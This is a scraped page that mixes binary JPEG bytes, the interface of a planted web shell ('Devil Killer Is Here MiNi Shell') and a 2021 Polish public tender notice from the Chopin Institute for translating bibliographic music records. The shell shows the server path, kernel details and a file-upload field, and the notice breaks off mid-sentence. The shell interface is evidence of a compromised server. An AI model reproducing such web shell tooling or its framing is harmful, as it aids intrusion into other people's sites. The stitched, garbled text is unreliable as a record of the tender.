JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20211012/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20211012/0022998303-N-2021.html

<!-- Version 1.0.0 --><style type="text/css"> .normal { color: black; } h1.title { }</style> <h1 class="text-center mt-5 mb-5">Ogłoszenie o zamówieniu<br/> Usługi<br/> Usługa tłumaczenia pisemnego wraz z korektą z języka polskiego na język angielski oraz z języka angielskiego na język polski opisów zawartych w rekordach bibliograficznych (...) - 3 części </h1> <h2 class="bg-light p-3 mt-4">SEKCJA I - ZAMAWIAJĄCY</h2> <h3 class="mb-0">1.1.) Rola zamawiającego</h3> <p class="mb-0">Postępowanie prowadzone jest samodzielnie przez zamawiającego</p> <h3 class="mb-0">1.2.) Nazwa zamawiającego: <span class="normal">Narodowy Instytut Fryderyka Chopina</span></h3> <h3 class="mb-0">1.4) Krajowy Numer Identyfikacyjny: <span class="normal">REGON 017307171</span></h3><h3 class="mb-0">1.5) Adres zamawiającego </h3> <h3 class="mb-0">1.5.1.) Ulica: <span class="normal">ul. Tamka 43</span></h3> <h3 class="mb-0">1.5.2.) Miejscowość: <span class="normal">Warszawa</span></h3> <h3 class="mb-0">1.5.3.) Kod pocztowy: <span class="normal">00-355</span></h3> <h3 class="mb-0">1.5.4.) Województwo: <span class="normal">mazowieckie</span></h3> <h3 class="mb-0">1.5.5.) Kraj: <span class="normal">Polska</span></h3> <h3 class="mb-0">1.5.6.) Lokalizacja NUTS 3: <span class="normal">PL911 - Miasto Warszawa</span></h3> <h3 class="mb-0">1.5.9.) Adres poczty elektronicznej: <span class="normal">zamowienia@nifc.pl</span></h3> <h3 class="mb-0">1.5.10.) Adres strony internetowej zamawiającego: <span class="normal">www.nifc.pl</span></h3> <h3 class="mb-0"> 1.6.) Rodzaj zamawiającego: <span class="normal">Zamawiający publiczny - inny zamawiający</span> </h3> <p class="mb-0"> Państowowa instytucja kultury </p> <h3 class="mb-0"> 1.7.) Przedmiot działalności zamawiającego: <span class="normal">Rekreacja, kultura i religia</span> </h3> <h2 class="bg-light p-3 mt-4">SEKCJA II – INFORMACJE PODSTAWOWE</h2> <h3 class="mb-0">2.1.) Ogłoszenie dotyczy: </h3> <p class="mb-0"> Zamówienia publicznego </p> <h3 class="mb-0">2.2.) Ogłoszenie dotyczy usług społecznych i innych szczególnych usług: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.3.) Nazwa zamówienia albo umowy ramowej: </h3> <p class="mb-0"> Usługa tłumaczenia pisemnego wraz z korektą z języka polskiego na język angielski oraz z języka angielskiego na język polski opisów zawartych w rekordach bibliograficznych (...) - 3 części </p> <h3 class="mb-0">2.4.) Identyfikator postępowania: <span class="normal">ocds-148610-f56e71c3-2a7c-11ec-b885-f28f91688073</span></h3> <h3 class="mb-0">2.5.) Numer ogłoszenia: <span class="normal">2021/BZP 00229983</span></h3> <h3 class="mb-0">2.6.) Wersja ogłoszenia: <span class="normal">03</span></h3> <h3 class="mb-0">2.7.) Data ogłoszenia: <span class="normal">2021-10-12</span></h3> <h3 class="mb-0">2.8.) Zamówienie albo umowa ramowa zostały ujęte w planie postępowań: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.9.) Numer planu postępowań w BZP: <span class="normal">2021/BZP 00010804/07/P</span></h3> <h3 class="mb-0">2.10.) Identyfikator pozycji planu postępowań: </h3> <p class="mb-0">1.3.16 Usługa tłumaczenia metadanych wytworzonych w bazie RISM w ramach Programu Operacyjnego Polska Cyfrowa w projekcie „Dziedzictwo muzyki polskiej w otwartym dostępie”</p> <h3 class="mb-0">2.11.) O udzielenie zamówienia mogą ubiegać się wyłącznie wykonawcy, o których mowa w art. 94 ustawy: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.14.) Czy zamówienie albo umowa ramowa dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.15.) Nazwa projektu lub programu</h3> <p class="mb-0"> Program Operacyjny Polska Cyfrowa na lata 2014-2020 Oś priorytetowa nr 2 „E-administracja i otwarty urząd” Działanie nr 2.3 Cyfrowa dostępność i użyteczność informacji sektora publicznego” Poddziałanie nr 2.3.2 „Cyfrowe udostępnianie zasobów kultury” Nr umowy o dofinansowanie: POPC.02.03.02-00-0001/18-00 Tytuł projektu: „Dziedzictwo muzyki polskiej w otwartym dostępie” </p> <h3 class="mb-0">2.16.) Tryb udzielenia zamówienia wraz z podstawą prawną</h3> <p class="mb-0"> Zamówienie udzielane jest w trybie podstawowym na podstawie: art. 275 pkt 1 ustawy </p> <h2 class="bg-light p-3 mt-4">SEKCJA III – UDOSTĘPNIANIE DOKUMENTÓW ZAMÓWIENIA I KOMUNIKACJA</h2> <h3 class="mb-0">3.1.) Adres strony internetowej prowadzonego postępowania</h3> https://nifc.eb2b.com.pl/open-auctions.html <h3 class="mb-0">3.2.) Zamawiający zastrzega dostęp do dokumentów zamówienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.4.) Wykonawcy zobowiązani są do składania ofert, wniosków o dopuszczenie do udziału w postępowaniu, oświadczeń oraz innych dokumentów wyłącznie przy użyciu środków komunikacji elektronicznej: <span class="normal">Tak</span></h3> <h3 class="mb-0">3.5.) Informacje o środkach komunikacji elektronicznej, przy użyciu których zamawiający będzie komunikował się z wykonawcami - adres strony internetowej: <span class="normal">Komunikacja między Zamawiającym a Wykonawcami odbywa się wyłącznie przy użyciu środków komunikacji elektronicznej, za pośrednictwem elektronicznej platformy zakupowej, zwanej dalej „Platformą”, pod adresem: https://nifc.eb2b.com.pl</span></h3> <h3 class="mb-0">3.6.) Wymagania techniczne i organizacyjne dotyczące korespondencji elektronicznej: <span class="normal">Wymagania techniczne i organizacyjne korzystania z Platformy określa jej Regulamin dostępny pod adresem internetowym https://nifc.eb2b.com.pl/user/terms. Wykonawca przystępując do postępowania o udzielenie zamówienia publicznego tj. bezpłatnie rejestrując się lub logując (w przypadku posiadania konta w Platformie), akceptuje warunki korzystania z Platformy, określone w Regulaminie oraz uznaje go za wiążący.</span></h3> <h3 class="mb-0">3.8.) Zamawiający wymaga sporządzenia i przedstawienia ofert przy użyciu narzędzi elektronicznego modelowania danych budowlanych lub innych podobnych narzędzi, które nie są ogólnie dostępne: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.12.) Oferta - katalog elektroniczny: <span class="normal">Nie dotyczy</span></h3> <h3 class="mb-0">3.14.) Języki, w jakich mogą być sporządzane dokumenty składane w postępowaniu: </h3> <p class="mb-0">polski</p> <h3 class="mb-0">3.15.) RODO (obowiązek informacyjny): <span class="normal">Zgodnie z art. 13 ust. 1 i 2 rozporządzenia Parlamentu Europejskiego i Rady (UE) 2016/679 z dnia 27 kwietnia 2016r. w sprawie ochrony osób fizycznych w związku z przetwarzaniem danych osobowych i w sprawie swobodnego przepływu takich danych oraz uchylenia dyrektywy 95/46/WE (ogólne rozporządzenie o ochronie danych) (Dz. Urz. UE L 119 z 04.05.2016, str. 1 oraz Dz. Urz. UE L 127 z 23.05.2018, s. 2), dalej „RODO”, Zamawiający informuje,że: 1) administratorem danych osobowych przetwarzanych w związku z prowadzeniem postępowania o udzielenie zamówienia publicznego będzie Narodowy Instytut Fryderyka Chopina z siedzibą przy ul.Tamka 43, 00-355 w Warszawie.2) kontakt z inspektorem ochrony danych osobowych w Narodowym Instytucie Fryderyka Chopina pod adresem: ul. Tamka 43, 00-355 Warszawa lub<br/>poprzez e-mail: iod@nifc.pl. Szczegółowe informacje przedstawione są w § 21 ust.1 i 2 SWZ.</span></h3> <h3 class="mb-0">3.16.) RODO (ograniczenia stosowania): <span class="normal">Ograniczenia stosowania RODO na podstawie art. 19 ust. 2 i 3 ustawy Pzp przedstawione są w § 21 ust. 3 SWZ</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IV – PRZEDMIOT ZAMÓWIENIA</h2> <h3 class="mb-0">4.1.1.) Przed wszczęciem postępowania przeprowadzono konsultacje rynkowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.2.) Numer referencyjny: <span class="normal">ZP.25.53.2021.1</span></h3> <h3 class="mb-0">4.1.3.) Rodzaj zamówienia: <span class="normal">Usługi</span></h3> <h3 class="mb-0">4.1.4.) Zamawiający udziela zamówienia w częściach, z których każda stanowi przedmiot odrębnego postępowania: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.1.8.) Możliwe jest składanie ofert częściowych: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.1.9.) Liczba części: <span class="normal">3</span></h3> <h3 class="mb-0">4.1.10.) Ofertę można składać na wszystkie części</h3> <h3 class="mb-0">4.1.11.) Zamawiający ogranicza liczbę części zamówienia, którą można udzielić jednemu wykonawcy: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.13.) Zamawiający uwzględnia aspekty społeczne, środowiskowe lub etykiety w opisie przedmiotu zamówienia: <span class="normal">Nie</span></h3><h3 class="mb-0">4.2. Informacje szczegółowe odnoszące się do przedmiotu zamówienia:</h3> <h3 class="p-2 mt-4 bg-light">Część 1</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Usługa tłumaczenia pisemnego wraz z korektą z języka polskiego na język angielski oraz z języka angielskiego na język polski opisów zawartych w rekordach bibliograficznych dla druków i rękopisów muzycznych ze zbiorów Warszawskiego Towarzystwa Muzycznego (siglum lokalizacji PL-Wtm). Przedmiot zamówienia realizowany w ramach Projektu Operacyjnego Polska Cyfrowa „Dziedzictwo muzyki polskiej w otwartym dostępie” </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-03-10</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Jakość próbek tłumaczenia</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 2</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Usługa tłumaczenia pisemnego wraz z korektą z języka polskiego na język angielski oraz z języka angielskiego na język polski opisów zawartych w rekordach bibliograficznych dla druków i rękopisów muzycznych ze zbiorów Archiwum Jasnogórskiego, Archiwum i Biblioteki Kapituły Katedralnej na Wawelu, Archiwum Klasztoru Benedyktynek w Staniątkach oraz Biblioteki PAN w Gdańsku (sigla lokalizacji: PL-CZ, PL-Kk, PL-STAb, PL-GD). Przedmiot zamówienia realizowany w ramach Projektu Operacyjnego Polska Cyfrowa „Dziedzictwo muzyki polskiej w otwartym dostępie” </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-03-10</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Jakość próbek tłumaczenia</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 3</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Usługa tłumaczenia pisemnego wraz z korektą z języka polskiego na język angielski oraz z języka angielskiego na język polski opisów zawartych w rekordach bibliograficznych dla druków i rękopisów muzycznych ze zbiorów Muzeum Zamoyskich w Kozłówce, Biblioteki Polskiej w Paryżu, Biblioteki Narodowego Instytutu Fryderyka Chopina, Muzeum Książąt Czartoryskich oraz Biblioteki Uniwersytetu Muzycznego im. Fryderyka Chopina (sigla lokalizacji: PL-KOZmzk, F-Ppo, PL-Wnifc, PL-Kc, PL-Wumfc). Przedmiot zamówienia realizowany w ramach Projektu Operacyjnego Polska Cyfrowa „Dziedzictwo muzyki polskiej w otwartym dostępie”. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-03-10</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Jakość próbek tłumaczenia</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA V - KWALIFIKACJA WYKONAWCÓW</h2> <h3 class="mb-0">5.1.) Zamawiający przewiduje fakultatywne podstawy wykluczenia: <span class="normal">Nie</span></h3> <h3 class="mb-0">5.3.) Warunki udziału w postępowaniu: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.4.) Nazwa i opis warunków udziału w postępowaniu.</h3> Zamawiający w zakresie zdolności technicznej lub zawodowej, w odniesieniu do poszczególnych części zamówienia, określa następujące warunki udziału:<br/>a)	Doświadczenie Wykonawcy:<br/>Część 1: Zamawiający uzna powyższy warunek za spełniony jeżeli Wykonawca wykaże, że w okresie ostatnich trzech lat przed upływem terminu składania ofert (a jeżeli okres prowadzenia działalności jest krótszy – w tym okresie), wykonał (a w przypadku świadczeń okresowych lub ciągłych również wykonuje) należycie co najmniej 3 (trzy) usługi o wartości łącznej* nie mniejszej niż 50 000,00 zł brutto, której przedmiotem były/są tłumaczenia pisemne wraz z korektą z języka polskiego na język angielski lub z języka angielskiego na język polski elektronicznych dokumentów tekstowych zapisanych w dowolnym formacie. <br/>Część 2: Zamawiający uzna powyższy warunek za spełniony jeżeli Wykonawca wykaże, że w okresie ostatnich trzech lat przed upływem terminu składania ofert (a jeżeli okres prowadzenia działalności jest krótszy – w tym okresie), wykonał (a w przypadku świadczeń okresowych lub ciągłych również wykonuje) należycie co najmniej 3 (trzy) usługi o wartości łącznej* nie mniejszej niż 50 000,00 zł brutto, której przedmiotem były/są tłumaczenia pisemne wraz z korektą z języka polskiego na język angielski lub z języka angielskiego na język polski elektronicznych dokumentów tekstowych zapisanych w dowolnym formacie.<br/>Część 3: Zamawiający uzna powyższy warunek za spełniony jeżeli Wykonawca wykaże, że w okresie ostatnich trzech lat przed upływem terminu składania ofert (a jeżeli okres prowadzenia działalności jest krótszy – w tym okresie), wykonał (a w przypadku świadczeń okresowych lub ciągłych również wykonuje) należycie co najmniej 3 (trzy) usługi o wartości łącznej** nie mniejszej niż 20 000,00 zł brutto, której przedmiotem były/są tłumaczenia pisemne wraz z korektą z języka polskiego na język angielski lub z języka angielskiego na język polski elektronicznych dokumentów tekstowych zapisanych w dowolnym formacie.<br/>*	Zamawiający dopuszcza również możliwość wykazania wykonania 1 usługi o wartości nie mniejszej niż 50 000 zł brutto lub dwóch usług o łącznej wartości 50 000 zł brutto.<br/>**	Zamawiający dopuszcza również możliwość wykazania wykonania 1 usługi o wartości nie mniejszej niż 20 000 zł brutto lub dwóch usług o łącznej wartości 20 000,00 zł brutto.<br/><br/>b)	Kwalifikacje zawodowe i doświadczenie osób skierowanych przez Wykonawcę do realizacji zamówienia:<br/>Dla części 1<br/>b.1 Wymagania dotyczące osób skierowanych do realizacji zamówienia pełniących funkcję tłumacza:<br/>	Zamawiający uzna powyższy warunek za spełniony, jeżeli Wykonawca wykaże że dysponuje co najmniej 2 (słownie: dwoma) osobami, które spełniają następujące minimalne wymagania dotyczące wykształcenia lub kwalifikacji oraz doświadczenia:<br/>•	Wykształcenie lub kwalifikacje: ukończone studia wyższe, minimum 3-letnie, na kierunku filologicznym lub lingwistycznym języka angielskiego (w Polsce lub za granicą) bądź posiadanie certyfikatu potwierdzającego znajomość języka angielskiego na poziomie zaawansowanym albo posiadanie statusu native speakera* z ukończonymi studiami wyższymi (w Polsce lub za granicą), minimum 3-letnie, na kierunku, na którym językiem wykładowym był język polski oraz język angielski bądź posiadanie certyfikatu potwierdzającego znajomość języka polskiego na poziomie zaawansowanym.<br/>•	Doświadczenie zawodowe: każdy z tłumaczy w swoim dorobku zawodowym przetłumaczył co najmniej 800 stron znormalizowanych, w tym co najmniej 100 stron znormalizowanych tekstów z zakresu muzyki i muzykologii (strona znormalizowana = 1800 znaków ze spacjami) z języka polskiego na język angielski lub z języka angielskiego na język polski.<br/>b.2 Wymagania dotyczące osób skierowanych do realizacji zamówienia pełniących funkcję korektora:<br/>Zamawiający uzna powyższy warunek za spełniony, jeżeli Wykonawca wykaże że dysponuje co najmniej 1 (słownie: jedną) osobą, która spełnia następujące minimalne wymagania dotyczące wykształcenia lub kwalifikacji oraz doświadczenia:<br/>•	Wykształcenie lub kwalifikacje: ukończone studia wyższe, minimum 3-letnie, na kierunku filologicznym lub lingwistycznym języka angielskiego (w Polsce lub za granicą) bądź posiadanie certyfikatu potwierdzającego znajomość języka angielskiego na poziomie zaawansowanym albo posiadanie statusu native speakera* z ukończonymi studiami wyższymi (w Polsce lub za granicą), minimum 3-letnie, na kierunku, na którym językiem wykładowym był język polski oraz język angielski bądź posiadanie certyfikatu potwierdzającego znajomość języka polskiego na poziomie zaawansowanym.<br/>•	Doświadczenie zawodowe: w swoim dorobku zawodowym dokonała korekty co najmniej 800 stron znormalizowanych, w tym co najmniej 100 stron znormalizowanych tekstów z zakresu muzyki i muzykologii (strona znormalizowana = 1800 znaków ze spacjami) z języka polskiego na język angielski lub z języka angielskiego na język polski.<br/>*Native speaker - rodzimy użytkownik danego języka, który posługuje się danym językiem jako językiem ojczystym. Jednocześnie język ojczysty to język pierwszy, który native speaker opanował w stopniu doskonałym.<br/>Zamawiający wymaga, aby Wykonawca wskazał inne osoby do pełnienia funkcji tłumacza i korektora.<br/>Dla części 2<br/>b.1 Wymagania dotyczące osób skierowanych do realizacji zamówienia pełniących funkcję tłumacza:<br/>Zamawiający uzna powyższy warunek za spełniony, jeżeli Wykonawca wykaże że dysponuje co najmniej 2 (słownie: dwoma) osobami, które spełniają następujące minimalne wymagania dotyczące wykształcenia lub kwalifikacji oraz doświadczenia:<br/>•	Wykształcenie lub kwalifikacje: ukończone studia wyższe, minimum 3-letnie, na kierunku filologicznym lub lingwistycznym języka angielskiego (w Polsce lub za granicą) bądź posiadanie certyfikatu potwierdzającego znajomość języka angielskiego na poziomie zaawansowanym albo posiadanie statusu native speakera* z ukończonymi studiami wyższymi (w Polsce lub za granicą), minimum 3-letnie, na kierunku, na którym językiem wykładowym był język polski oraz język angielski bądź posiadanie certyfikatu potwierdzającego znajomość języka polskiego na poziomie zaawansowanym.<br/>•	Doświadczenie zawodowe: każdy z tłumaczy w swoim dorobku zawodowym przetłumaczył co najmniej 800 stron znormalizowanych, w tym co najmniej 100 stron znormalizowanych tekstów z zakresu muzyki i muzykologii (strona znormalizowana = 1800 znaków ze spacjami) z języka polskiego na język angielski lub z języka angielskiego na język polski.<br/>b.2	Wymagania dotyczące osób skierowanych do realizacji zamówienia pełniących funkcję korektora:<br/>Zamawiający uzna powyższy warunek za spełniony, jeżeli Wykonawca wykaże że dysponuje co najmniej 1 (słownie: jedną) osobą, która spełnia następujące minimalne wymagania dotyczące wykształcenia lub kwalifikacji oraz doświadczenia:<br/>•	Wykształcenie lub kwalifikacje: ukończone studia wyższe, minimum 3-letnie, na kierunku filologicznym lub lingwistycznym języka angielskiego (w Polsce lub za granicą) bądź posiadanie certyfikatu potwierdzającego znajomość języka angielskiego na poziomie zaawansowanym albo posiadanie statusu native speakera* z ukończonymi studiami wyższymi (w Polsce lub za granicą), minimum 3-letnie, na kierunku, na którym językiem wykładowym był język polski oraz język angielski bądź posiadanie certyfikatu potwierdzającego znajomość języka polskiego na poziomie zaawansowanym.<br/>•	Doświadczenie zawodowe: w swoim dorobku zawodowym dokonała korekty co najmniej 800 stron znormalizowanych, w tym co najmniej 100 stron znormalizowanych tekstów z zakresu muzyki i muzykologii (strona znormalizowana = 1800 znaków ze spacjami) z języka polskiego na język angielski lub z języka angielskiego na język polski.<br/>*Native speaker - rodzimy użytkownik danego języka, który posługuje się danym językiem jako językiem ojczystym. Jednocześnie język ojczysty to język pierwszy, który native speaker opanował w stopniu doskonałym.<br/>Zamawiający wymaga, aby Wykonawca wskazał inne osoby do pełnienia funkcji tłumacza i korektora.<br/>Dla części 3<br/>b.1 Wymagania dotyczące osób skierowanych do realizacji zamówienia pełniących funkcję tłumacza:<br/>Zamawiający uzna powyższy warunek za spełniony, jeżeli Wykonawca wykaże że dysponuje co najmniej 2 